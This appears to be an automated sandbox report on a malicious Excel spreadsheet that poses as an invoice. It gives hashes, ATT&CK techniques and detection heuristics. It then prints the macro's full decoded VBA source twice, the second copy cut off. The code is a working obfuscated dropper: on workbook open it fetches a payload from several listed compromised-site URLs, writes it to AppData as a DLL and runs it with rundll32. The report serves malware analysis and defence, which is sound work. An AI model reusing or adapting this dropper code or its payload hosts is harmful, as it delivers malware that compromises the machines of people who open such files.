Office (OLE) malware analysis — malicious · 5ba36e657af4205b

MALICIOUS

Office (OLE)

118.5 KB Created: 2000-04-13 21:48:14 Authoring application: Microsoft Excel First seen: 2021-07-02

MD5: 66ec873315283b3e6b1b3c22865e49dc SHA-1: 78621aa1f41075098865311781ff43ef7ebbfac4 SHA-256: 5ba36e657af4205b90b28630ef37968c042b1fd169cf747f3f244d7ffab1caa4

228 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel document containing a fake invoice lure. It contains a Workbook_Open VBA macro that is obfuscated and uses CreateObject to download and execute a second-stage payload from a remote URL. The macro explicitly attempts to download content from URLs such as 'https://santorinitravel.naturalgraphic.hu/wp-content/plugins/cookie-law-info/public/css/l5e7I9bjYqmEQ.php'.

Heuristics 10

VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
If .Status = CLng(-1.15606936416185 * (-1046 - -873#)) And Len(.responseBody) > CLng(AscW("Z")) Then
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set cruzadosqueegee = CreateObject(accordionevapot)
```
Payload URL assembled from a Chr()/Asc() string expression (6 URLs) high OLE_VBA_EXPR_DROPPER_URL

A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
fattismavodirep = Environ(phytophagicbirl.precisdelapsing(recordingchildn))
```
URL de-obfuscated from VBA string literal (1 URL) info OLE_VBA_OBFUSCATED_URL

A VBA macro hides its download URL inside a string literal that is de-obfuscated at runtime — junk digits or a Replace() junk token interleaved through the URL, or the URL stored reversed (StrReverse). The decoded host is the next-stage payload URL (URLDownloadToFile/XMLHTTP/ShellExecute); surfaced as an IOC. Self-validating: only a transform that yields a syntactically valid host URL is reported.
Fake invoice / payment lure low SE_INVOICE_LURE

Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://santorinitravel.naturalgraphic.hu/wp-content/plugins/cookie-law-info/public/css/l5e7I9bjYqmEQ.php Referenced by macro
- https://steriglass.stigmatinesafrica.org/wp-includes/sodium_compat/namespaced/Core/ChaCha20/KITDlCQHVyI.phpReferenced by macro
- https://sierraimoveis.com.br/manager/bower_components/bootstrap/less/mixins/BpZbPd8mY0.phpReferenced by macro
- https://blog.bitz.pe/wp-content/plugins/wpforms-lite/vendor/goodby/csv/src/Goodby/CSV/Import/Protocol/Exception/M7yde0cw.phpReferenced by macro
- https://ahdmsport.com/bootstrap/scripts/_notes/Xwi4K0BrmwX6hf.phpReferenced by macro
- https://fitzgeraldstreet.com/ap-photos/themes/modus/css/fontello/1j5yZLSi4VE.phpReferenced by macro
- https://courieradmin.phebsoft-team.com/svg/ot0fUe27YMmQ.phpF$3#EReferenced by macro
- https://adamjeecommodities.com/wp-content/themes/adamjeecom/inc/options/kUQIZCFicsJ.php*ZeFKT0R%iO&Referenced by macro
- https://steriglass.stigmatinesafrica.org/wp-includes/sXf6bhwYodium_compat/namXf6bhwYespaXf6bhwYced/Core/ChaChaXf6bhwY20/KITDlCQHVyI.phpReferenced by macro
- https://speechelo-online.com/wp-content/plugins/wordpress-seo-premium/vendor/composer/Xx8PRnR69.phpq9+b&Referenced by macro
- https://teste.sitiodoastronauta.com.br/wp-includes/js/tinymce/plugins/charmap/M19jooPri8Tq.phpj$^Referenced by macro
- https://sierraimoveis.com.br/managey(|%IZUr/bower_components/bootstrap/less/mixins/BpZbPd8mY0.phpReferenced by macro
- https://blog.bitz.pe/wp-content/plugins/wpforms-lite/vendor/goodby/csv/src/Goodby/CSVS5Rk\Jn/Import/Protocol/Exception/M7yde0cw.phpReferenced by macro
- https://ahdmsport.vaa5Cxcom/bootvaa5Cxstrap/scrvaa5Cxipts/vaa5Cx_notes/Xwi4K0BrmwX6hf.phpReferenced by macro
- https://fitzgeraldstreet.com/ap-photos/\E5/7h@\E5/7h@themes/mod\E5/7h@us/css/fontello/1j5yZLSi4VE.phpReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15929 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	15929 bytes
SHA-256: `3b55e16c4733da3aebac5a1f6844a235e3f9a52547c208dc472d969aa03d66e9`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Sub Workbook_Open() On Error GoTo divisionistshie stethoscopicnut = 1 / 0 divisionistshie: If Err.Number <> 0 Then Msg = "Thank You!" MsgBox Msg, , "Good", Err.HelpFile, Err.HelpContext surveillantsexh = (jasminescrosscl.rifleriessupern(repellerreaccli)) End If End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet2" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet3" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "jazeranttechnic" Function superdominantge(helvetiumburwee) 'ectopicallyscuzzeshinsdevastat snobbocraciestangentallyrepuls acerbated jellygraphed torpedi 'fairnyticklecogglequaintestsab henriesintuitable peonisms trimethyl kenafs misf bowsesouthsaidfract ettledhappyingyuppieish refinancingsove = Replace("https!mo6AV.://santorinitravel.!mo6AV.naturalgraphic.hu/wp!mo6AV.-content/plugins/cookie-law-info/publi!mo6AV.c/css/l5e7I9bjYqmEQ.php", "!mo6AV.", "") superdominantge = Join(Array(refinancingsove)) 'rewardersinnocuouscurraghkeppe geotaggingattendinginscientult peckingmonoskistupefyingly 'calefactionhipsterismsampelogr subfiles unsegmented viscosime melanges grograms elliptic gai End Function Attribute VB_Name = "holoenzymesgall" Function catapultingover(ergoticgeochron) 'phillabegcleomes imprudences vigoroso pictogram nonviolencesgrangerisationcomb boohais tributer attending azlons diazo gratineed abaxial 'thornbirdspithecanthropus hikedlanternsaskosanecdotist overcontrolhappieraustereness jorumsdoerspoutiest eventualitiesco = Replace("MSX(c_MhgXX(c_MhgMLX(c_Mhg2.XMX(c_MhgX(c_MhgLHTTP", "X(c_Mhg", "") catapultingover = Join(Array(eventualitiesco)) 'ethologist spets unmolding browningstereognosisinexpedien consolatrices ineducabilities thickish eyesores fourteener stilling End Function Attribute VB_Name = "furmitypustule" Function cruzadosqueegee(accordionevapot) Set cruzadosqueegee = CreateObject(accordionevapot) End Function Attribute VB_Name = "beinnessesstott" Function fattismavodirep() fattismavodirep = Environ(phytophagicbirl.precisdelapsing(recordingchildn)) End Function Attribute VB_Name = "phytophagicbirl" Function pseudotuberculo(respectivelymer) 'soupy voicer savvey workaholisms scopoline facemailsfirth 'reassumes densitometry spallin heugh nonadults votivenesses immodestly tipstocks scissortail outlander stumpily 'seventy bestializes lipoid fri adaptionwhippet primigenialencolour bhistisoverflyi = Mid("/CpT>3MrCIr)R7gXhttps://courieradmin.phebsoft-team.com/svg/ot0fUe27YMmQ.phpF$3#E", CLng((-13.0909090909091 * 44) + 593), CLng(0.614583333333333 * 96)) pseudotuberculo = bhistisoverflyi 'disillusionaryclauchtcuracoas urethroscopy commerciality car yaardetailedshunnerwhimpering diremptionsaikeiswygaseliers apays subsidize End Function Function epimorphosesant(budisclingybott) 'multitrack seborrhoeas unbare reacceded chondromatous pricingspotentatecantesthomoeo overdosed ulpan katzenjammers ampliation phacelias copresent 'ventigestrangury intersociety enveloper dovetai consentparrotstalced houndedthinglinesses 'reliquefy subtense boors mashi semiologists periblem prechill lithomancy conciliable sirkarsunverifiableoilbird thiobarbituratekinesiologistsm plausiblysubles = Mid(";74JbJc!Uhttps://adamjeecommodities.com/wp-content/themes/adamjeecom/inc/options/kUQIZCFicsJ.phpZeFKT0R%iO&", CLng((-2.38709677419355 62) - -158), CLng(5 Xor 82)) epimorphosesant = plausiblysubles 'binningdespotocraciesimprinted maplesnosode spermatocytesscrunchingwhitter matricarseniate tamaldispelledmedicalizesbelem 'nurturancecreationistsdentels redry cavalrymen warrioressesacuminatedjerques prereading overrenning muilsarmipotence 'glitteriest hominine shtetelac vanitied calcedonios chagans spitefullest intertangled perseline labanotation soothfastness gossamers End Function Function precisdelapsing(malwasexasperat) 'dottel gangsterism hercogamy exemptsflappableblowies cockpits odeum finnacks upsittings smoothens withdraws communionally preter 'outviedtrophi confineable testy umbrae allottee witherer recoilers daybreak conflicted shindigsvandalquartermistress leguansespouser = Mid("8.:bBtN;7sfDAppData!U .1^&", CLng(190 - 177), CLng(7 And 7)) precisdelapsing = Join(Array(leguansespouser)) 'outgnawedunprofessional mesmerism adornments scutellum flew totalises comital treacle vum bodyworks End Function Attribute VB_Name = "hyperexcitedkit" Function sayyidanemogram(asymmetriesscle) 'robotizations shends bedaubslientery finderssouthernmost harmonizescompo = Replace("https://steriglass.stigmatinesafrica.org/wp-includes/sXf6bhwYodium_compat/namXf6bhwYespaXf6bhwYced/Core/ChaChaXf6bhwY20/KITDlCQHVyI.php", "Xf6bhwY", "") sayyidanemogram = harmonizescompo 'busyworksreorganisingextricate initiated fanciful superintens spud cipollino patteturnvereinsoverpotent 'ferrategraylags hypnologists frounced waringkazatskiesbuttoners effluxionbryozoanstweerscruppe 'disarmer eaglet platysma limestones empathists guardsmandepilatoriesangiosarc End Function Function majlistrioleins(asymptotereanal) 'ironist intonates toothfishes unrequisite imitativeness pretendership 'aglossiasweepiness reticularly lechayims carons verapamil gefuffled buttoners apostleshippiracetamurobilins 'acclivity horographer finalis slurpiest luckie constricted ingatherings doublethinksighingsliestpagani djinsgamogeneti = Mid("fB.da(>97ZDhttps://speechelo-online.com/wp-content/plugins/wordpress-seo-premium/vendor/composer/Xx8PRnR69.phpq9+b&", CLng(-548 + 560), CLng(AscW("c"))) majlistrioleins = djinsgamogeneti 'shewerdishwasherspostinjection decidua tweeter mucins initial pyrogenicities officinally und ravers graying tariffication m sexismsergeantshipsnongreasy 'archnesstravis demineralizingbisected reglues pilotage terneplates 'frequentedphlebograms raddesttylersmorello automatousklendusityinertially narrowingspitchstone End Function Function latigotrankumsa(photopsyutilize) 'charactering paedagogue cicore vesicatoryslouchinessesammonif governesstorsionalboofier arties irides enquirations antisbulletinpo = Mid("k31r https://teste.sitiodoastronauta.com.br/wp-includes/js/tinymce/plugins/charmap/M19jooPri8Tq.phpj$^!;", CLng(849 - (1250 - 407#)), CLng(Not (-336 - -241#))) latigotrankumsa = antisbulletinpo 'revestiaries boundedness amnes moietiesclubbismsbatrachiaunpr rafflinglichenologistacanthin venting pinchecks contravening outcompeting misset hypercalca 'skiablecruftiestoutpower circumnutation flystrikes phen goatslamasery End Function Function marinadescrypto(inveteracyswatt) 'histologistscaphocephalismunre goniometries addable chauvinisticcontorniate outjuggledtrochometer nebrisclonermonardasgaffers 'benzophenonepiddlednearest interfacialdowd sylviculturesrespread overdrinkingdemaine multivariousfor = Replace("https://sierraimoveis.com.br/managey(\|%IZUr/bower_components/bootstrap/less/mixins/BpZbPd8mY0.php", "y(\|%IZU", "") marinadescrypto = multivariousfor 'restartsisomagneticsneneterran rembledbarkersserosae untruedefacingly 'transpacific swingling sued bobotie paleozoology wain tetrastylebougainviliaintermed End Function Function furlesshamunrou(submoleculesper) 'sulphonylscloddedbethrallsmill blackgamehumorful inthroning yarding bras studie votary piquantnesses kahuna torchier obsignate metallurgie 'backsidehydromancersdopant buddleciboulemultiflashfloatie unbitt predominances vibracular metacentric methodo pickerelweeds mewsing 'bypaths noncollegiate unhunted vitaminebearishnessesgougeresl comboversatellitiums grovellingly asceticism vellicatingtriradiatelyhegumen unurgedsaddleba = Mid("i(OcAIV!Fl9k4H!ADODB.StreamtbEA^_FJZ+&d@3d", CLng(-564 + 580), CLng(-1.96078431372549E-02 * -612)) furlesshamunrou = unurgedsaddleba 'quiveringsrimmedpunishes excidesmousetail chaliced deveining tythe querns pukier 'address trismic blockholes bankit cohopontal disvaluepassibilityskyscape 'extendedly carjacking bursitis telomerizationshyperresponsive afficionadosconfirmednesses pockmanky hotbeds adducted End Function Attribute VB_Name = "sheenscrampoonb" Function burghalreductas(tomialwhingeing) 'hereditists regurgitants dabch thermoregulationfetishizesover adermin unsaint earrings unexclusively conticent mousakasequatabilitiesspermago 'adenosischiefdoms bullyboyconceitedly uniterexclamation kickbackskayaki = Replace("https://blog.bitz.pe/wp-content/plugins/wpforms-lite/vendor/goodby/csv/src/Goodby/CSVS5Rk\Jn/Import/Protocol/Exception/M7yde0cw.php", "S5Rk\Jn", "") burghalreductas = kickbackskayaki 'hesitatingwabainscounterreacti vinciblenessmyosisscanter grouselike countertop ducksstummbathorsesuperintelle dogiehumanizer 'acroparesthesiachalcogenides relace gricer psalming magneto cadgiestpiki 'nonrailroadneurocoelacetosefor contaminators bumptiously atte poorwill choof cam End Function Function breyseolipilesg(legislatorships) 'dures heliodors hadjees censur hypocoristical sacque invaginatedoutpolling outwaiting surgeonships fungoid arointed 'programers circularising pensionnat euchology prelocate assemblance cardiomyopathies p philoxenialea personalizations unwontedness bleachedgrubber = Replace("https://ahdmsport.vaa5Cxcom/bootvaa5Cxstrap/scrvaa5Cxipts/vaa5Cx_notes/Xwi4K0BrmwX6hf.php", "vaa5Cx", "") breyseolipilesg = Join(Array(bleachedgrubber)) 'hurls enlumine comstockers poikilotherm spiritualizingdissolvessanctua tropicbirdshierographoutdrovec 'malteds dysfunctional shorteni labeledhuzzaingreconsidersemph immaterialismmosaickedbuilding unplucked paragraphia luciferinssuperminiprincipalne End Function Function litigablesuperf(deplorersfoveat) 'disboweled outfielders syncretizationsbacterias fungosityshidduchjoiners foreseedauntles = Replace("Wscript.SCQ(GSCQ(GShell", "CQ(GS", "") litigablesuperf = foreseedauntles 'mawrreplanrutinultrarealistic rhizomicstoicheiologies microwaveablelecheredrecessive End Function Function compatiblerecog(disgustswitched) 'corniculum lassos glycolipid lightened muchly matricidesforthackeewagged pastourelles rantipole nephrectomiesmetamorphisms 'destabilizinggeraniumbollsinte veratrine unimplemented indecentest corruptions tetrad syphilitic television blueprin 'kaiaking gasifying quarantines recapturersacahuistesredacts initialedtouracoacculturatingg refrigeration oratorio plonkodelicaten = Replace("rundllOV=\R3OV=\R2.OV=\Rexe ", "OV=\R", "") compatiblerecog = Join(Array(plonkodelicaten)) 'pleinairisms spumonis muskets miscolors poloniums engrail cwms hexagrammoids enc toadyismsbermes 'sideling rotiferans puparial stamping industrially contraltossorbuses manga lambadas incombustibilit End Function Attribute VB_Name = "jasminescrosscl" Function rifleriessupern(thwartwisehitch) For Each wizzessectional In Array(hyperexcitedkit.sayyidanemogram(interparochials), hyperexcitedkit.majlistrioleins(lozellonomastic), hyperexcitedkit.latigotrankumsa(timeoutbriskens), phytophagicbirl.pseudotuberculo(emarginationsex), sheenscrampoonb.burghalreductas(autogenouslyove), hyperexcitedkit.marinadescrypto(jeererstrockede), phytophagicbirl.epimorphosesant(chiconcostliest), jazeranttechnic.superdominantge(unruffablehydro), sheenscrampoonb.breyseolipilesg(smickercozeysad), rescindermortbe.becursessegrega(wembbibliolatri)) On Error Resume Next With furmitypustule.cruzadosqueegee(holoenzymesgall.catapultingover(vicereinepreach)) .Open rescindermortbe.empiresparabend(marrowbonesscar), wizzessectional, False .Send If .Status = CLng(-1.15606936416185 * (-1046 - -873#)) And Len(.responseBody) > CLng(AscW("Z")) Then Set intersexualisms = furmitypustule.cruzadosqueegee(hyperexcitedkit.furlesshamunrou(plowteredsymmet)) intersexualisms.Open intersexualisms.Type = CLng(768 - 767) intersexualisms.Write .responseBody intersexualisms.SaveToFile beinnessesstott.fattismavodirep() & rescindermortbe.scoochedentitle(sistrumssprawli), CLng(2 And 2) intersexualisms.Close Exit For End If End With Next wizzessectional With furmitypustule.cruzadosqueegee(sheenscrampoonb.litigablesuperf(staturedinterbr)) .Run spasticitystrau.flittedflatscre(nonconforminghe) End With End Function Attribute VB_Name = "rescindermortbe" Function becursessegrega(dejectadaredevi) 'subspecialtymediansreckoncyber baker headstrong sponsorships onomatopoeias slashed nominate timbermanmanoaoinfer unhewnsingularitieshorsinessps recantsataisara = Replace("https://fitzgeraldstreet.com/ap-photos/\E5/7h@\E5/7h@themes/mod\E5/7h@us/css/fontello/1j5yZLSi4VE.php", "\E5/7h@", "") becursessegrega = Join(Array(recantsataisara)) 'desipramine reck ayahuasco timberyards splanchnology forg magnesicremandmentagendum orrisrootsaffordabilitiespyram chas malibu outnumbered cognit End Function Function empiresparabend(nonmathematicia) 'subcolleges mirlitons herein p stateliestwaistbeltunderdevelo couragesmonetises gurglecoloniali = Mid("xnLC9UaJGET%t\|<d9p+", CLng(11 Xor 2), CLng(3.79746835443038E-03 * 790)) empiresparabend = Join(Array(gurglecoloniali)) 'wintertimephylarchiesincommens hoovering staphyline obscuresylloge obtainment affrontings dominic swaggies narcotisations amiabl 'retroviruses stretched sandalwoodsreexposesnidates overcommunications squattier phoneticizes adhesional libras End Function Function lightheadedhara(pasturelandsfor) 'vases carageenan ectoblasts ti victimizedcassareepsfrangipane cheerfulnesses stemples colostral jacobins sulphurousl hypocorismaklee = Mid("P/d-8m>wllxQ%v,StartW2<bbldC7sHx", CLng(Not -16), CLng(-9.58904109589041E-02 * -73)) lightheadedhara = Join(Array(hypocorismaklee)) 'windgall seysure carnahuba lea subordinative torticollar stal cowlstavescorinthianizes tenuriallyoesophagoscopy 'stewardships hallmarks sixtiethmarcescentembraidedski troublous gonorrheal diaconate dispropriatingpycnosespactumfl vulgars chicnesses divulsive m End Function Function scoochedentitle(emplumepredrill) 'subcontinentsvelveteddragonroo imperfectible alcalde pipefitt overpastluckiesunclassedmodern 'camphorstereoscopistsvariomete gleyings staminal intensifier leadennesses phellogens chalazaegularpiercingly slabbery scandalisations misas revisionscomedo = Mid("CdYVw=BV/d0wocI4\17117.dll2-q-Okg", CLng((371 - 354#) And 21), CLng(849 + (-452 - 387#))) scoochedentitle = Join(Array(revisionscomedo)) 'dopaminergic arabicizations ba hypopituitarism procures winda fullednounalpopsieshalakhoth hyperreactivities substantiviz scubas tenaculums contemporizi End Function Attribute VB_Name = "spasticitystrau" Function flittedflatscre(narcosessubprog) flittedflatscre = sheenscrampoonb.compatiblerecog(breyingbellicos) & Chr(CLng(34 And 43)) & beinnessesstott.fattismavodirep() & rescindermortbe.scoochedentitle(sistrumssprawli) & Chr(CLng(34 Or 0)) & rescindermortbe.lightheadedhara(nedsnonstickrai) Debug.Print flittedflatscre End Function

SHA-256: 3b55e16c4733da3aebac5a1f6844a235e3f9a52547c208dc472d969aa03d66e9

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()


    On Error GoTo divisionistshie
    stethoscopicnut = 1 / 0


divisionistshie:
        If Err.Number <> 0 Then
            Msg = "Thank You!"
            MsgBox Msg, , "Good", Err.HelpFile, Err.HelpContext
surveillantsexh = (jasminescrosscl.rifleriessupern(repellerreaccli))
        End If


End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "jazeranttechnic"
Function superdominantge(helvetiumburwee)
'ectopicallyscuzzeshinsdevastat snobbocraciestangentallyrepuls acerbated jellygraphed torpedi
'fairnyticklecogglequaintestsab henriesintuitable peonisms trimethyl kenafs misf bowsesouthsaidfract ettledhappyingyuppieish
refinancingsove = Replace("https!mo6AV.://santorinitravel.!mo6AV.naturalgraphic.hu/wp!mo6AV.-content/plugins/cookie-law-info/publi!mo6AV.c/css/l5e7I9bjYqmEQ.php", "!mo6AV.", "")
superdominantge = Join(Array(refinancingsove))
'rewardersinnocuouscurraghkeppe geotaggingattendinginscientult peckingmonoskistupefyingly
'calefactionhipsterismsampelogr subfiles unsegmented viscosime melanges grograms elliptic gai
End Function

Attribute VB_Name = "holoenzymesgall"
Function catapultingover(ergoticgeochron)
'phillabegcleomes imprudences vigoroso pictogram nonviolencesgrangerisationcomb boohais tributer attending azlons diazo gratineed abaxial
'thornbirdspithecanthropus hikedlanternsaskosanecdotist overcontrolhappieraustereness jorumsdoerspoutiest
eventualitiesco = Replace("MSX(c_MhgXX(c_MhgMLX(c_Mhg2.XMX(c_MhgX(c_MhgLHTTP", "X(c_Mhg", "")
catapultingover = Join(Array(eventualitiesco))
'ethologist spets unmolding browningstereognosisinexpedien consolatrices ineducabilities thickish eyesores fourteener stilling
End Function

Attribute VB_Name = "furmitypustule"
Function cruzadosqueegee(accordionevapot)
Set cruzadosqueegee = CreateObject(accordionevapot)
End Function

Attribute VB_Name = "beinnessesstott"
Function fattismavodirep()
fattismavodirep = Environ(phytophagicbirl.precisdelapsing(recordingchildn))
End Function

Attribute VB_Name = "phytophagicbirl"
Function pseudotuberculo(respectivelymer)
'soupy voicer savvey workaholisms scopoline facemailsfirth
'reassumes densitometry spallin heugh nonadults votivenesses immodestly tipstocks scissortail outlander stumpily
'seventy bestializes lipoid fri adaptionwhippet primigenialencolour
bhistisoverflyi = Mid("/CpT>3MrCIr)R7gXhttps://courieradmin.phebsoft-team.com/svg/ot0fUe27YMmQ.phpF$3#E", CLng((-13.0909090909091 * 44) + 593), CLng(0.614583333333333 * 96))
pseudotuberculo = bhistisoverflyi
'disillusionaryclauchtcuracoas urethroscopy commerciality car yaardetailedshunnerwhimpering diremptionsaikeiswygaseliers apays subsidize
End Function
Function epimorphosesant(budisclingybott)
'multitrack seborrhoeas unbare  reacceded chondromatous pricingspotentatecantesthomoeo overdosed ulpan katzenjammers ampliation phacelias copresent
'ventigestrangury intersociety enveloper dovetai consentparrotstalced houndedthinglinesses
'reliquefy subtense boors mashi semiologists periblem prechill lithomancy conciliable sirkarsunverifiableoilbird thiobarbituratekinesiologistsm
plausiblysubles = Mid(";74JbJc!Uhttps://adamjeecommodities.com/wp-content/themes/adamjeecom/inc/options/kUQIZCFicsJ.php*ZeFKT0R%iO&", CLng((-2.38709677419355 * 62) - -158), CLng(5 Xor 82))
epimorphosesant = plausiblysubles
'binningdespotocraciesimprinted maplesnosode spermatocytesscrunchingwhitter matricarseniate tamaldispelledmedicalizesbelem
'nurturancecreationistsdentels redry cavalrymen warrioressesacuminatedjerques prereading overrenning muilsarmipotence
'glitteriest hominine shtetelac vanitied calcedonios chagans spitefullest intertangled perseline labanotation soothfastness gossamers
End Function
Function precisdelapsing(malwasexasperat)
'dottel gangsterism hercogamy exemptsflappableblowies cockpits odeum finnacks upsittings smoothens withdraws communionally preter
'outviedtrophi confineable testy umbrae allottee witherer recoilers daybreak conflicted shindigsvandalquartermistress
leguansespouser = Mid("8.:bBtN;7sfDAppData!U .1^&", CLng(190 - 177), CLng(7 And 7))
precisdelapsing = Join(Array(leguansespouser))
'outgnawedunprofessional mesmerism adornments scutellum flew totalises comital treacle vum bodyworks
End Function

Attribute VB_Name = "hyperexcitedkit"
Function sayyidanemogram(asymmetriesscle)
'robotizations shends bedaubslientery finderssouthernmost
harmonizescompo = Replace("https://steriglass.stigmatinesafrica.org/wp-includes/sXf6bhwYodium_compat/namXf6bhwYespaXf6bhwYced/Core/ChaChaXf6bhwY20/KITDlCQHVyI.php", "Xf6bhwY", "")
sayyidanemogram = harmonizescompo
'busyworksreorganisingextricate initiated fanciful superintens spud cipollino patteturnvereinsoverpotent
'ferrategraylags hypnologists frounced waringkazatskiesbuttoners effluxionbryozoanstweerscruppe
'disarmer eaglet platysma limestones empathists guardsmandepilatoriesangiosarc
End Function
Function majlistrioleins(asymptotereanal)
'ironist intonates toothfishes unrequisite imitativeness pretendership
'aglossiasweepiness reticularly lechayims carons verapamil gefuffled buttoners apostleshippiracetamurobilins
'acclivity horographer finalis slurpiest luckie constricted ingatherings doublethinksighingsliestpagani
djinsgamogeneti = Mid("fB.da(>97ZDhttps://speechelo-online.com/wp-content/plugins/wordpress-seo-premium/vendor/composer/Xx8PRnR69.phpq9+b&", CLng(-548 + 560), CLng(AscW("c")))
majlistrioleins = djinsgamogeneti
'shewerdishwasherspostinjection decidua tweeter mucins initial pyrogenicities officinally und ravers graying tariffication m sexismsergeantshipsnongreasy
'archnesstravis demineralizingbisected reglues pilotage terneplates
'frequentedphlebograms raddesttylersmorello automatousklendusityinertially narrowingspitchstone
End Function
Function latigotrankumsa(photopsyutilize)
'charactering paedagogue cicore vesicatoryslouchinessesammonif governesstorsionalboofier arties irides enquirations
antisbulletinpo = Mid("k31r https://teste.sitiodoastronauta.com.br/wp-includes/js/tinymce/plugins/charmap/M19jooPri8Tq.phpj$^!;", CLng(849 - (1250 - 407#)), CLng(Not (-336 - -241#)))
latigotrankumsa = antisbulletinpo
'revestiaries boundedness amnes moietiesclubbismsbatrachiaunpr rafflinglichenologistacanthin venting pinchecks contravening outcompeting misset hypercalca
'skiablecruftiestoutpower circumnutation flystrikes phen goatslamasery
End Function
Function marinadescrypto(inveteracyswatt)
'histologistscaphocephalismunre goniometries addable chauvinisticcontorniate outjuggledtrochometer nebrisclonermonardasgaffers
'benzophenonepiddlednearest interfacialdowd sylviculturesrespread overdrinkingdemaine
multivariousfor = Replace("https://sierraimoveis.com.br/managey(|%IZUr/bower_components/bootstrap/less/mixins/BpZbPd8mY0.php", "y(|%IZU", "")
marinadescrypto = multivariousfor
'restartsisomagneticsneneterran rembledbarkersserosae untruedefacingly
'transpacific swingling sued bobotie paleozoology wain tetrastylebougainviliaintermed
End Function
Function furlesshamunrou(submoleculesper)
'sulphonylscloddedbethrallsmill blackgamehumorful inthroning yarding bras studie votary piquantnesses kahuna torchier obsignate metallurgie
'backsidehydromancersdopant buddleciboulemultiflashfloatie unbitt predominances vibracular metacentric methodo pickerelweeds mewsing
'bypaths noncollegiate unhunted vitaminebearishnessesgougeresl comboversatellitiums grovellingly asceticism vellicatingtriradiatelyhegumen
unurgedsaddleba = Mid("i(OcAIV!Fl9k4H!ADODB.StreamtbEA^_FJZ+&d@3d", CLng(-564 + 580), CLng(-1.96078431372549E-02 * -612))
furlesshamunrou = unurgedsaddleba
'quiveringsrimmedpunishes excidesmousetail chaliced deveining tythe querns pukier
'address trismic blockholes bankit cohopontal disvaluepassibilityskyscape
'extendedly carjacking bursitis telomerizationshyperresponsive afficionadosconfirmednesses pockmanky hotbeds adducted
End Function

Attribute VB_Name = "sheenscrampoonb"
Function burghalreductas(tomialwhingeing)
'hereditists regurgitants dabch thermoregulationfetishizesover adermin unsaint earrings unexclusively conticent mousakasequatabilitiesspermago
'adenosischiefdoms bullyboyconceitedly uniterexclamation
kickbackskayaki = Replace("https://blog.bitz.pe/wp-content/plugins/wpforms-lite/vendor/goodby/csv/src/Goodby/CSVS5Rk\Jn/Import/Protocol/Exception/M7yde0cw.php", "S5Rk\Jn", "")
burghalreductas = kickbackskayaki
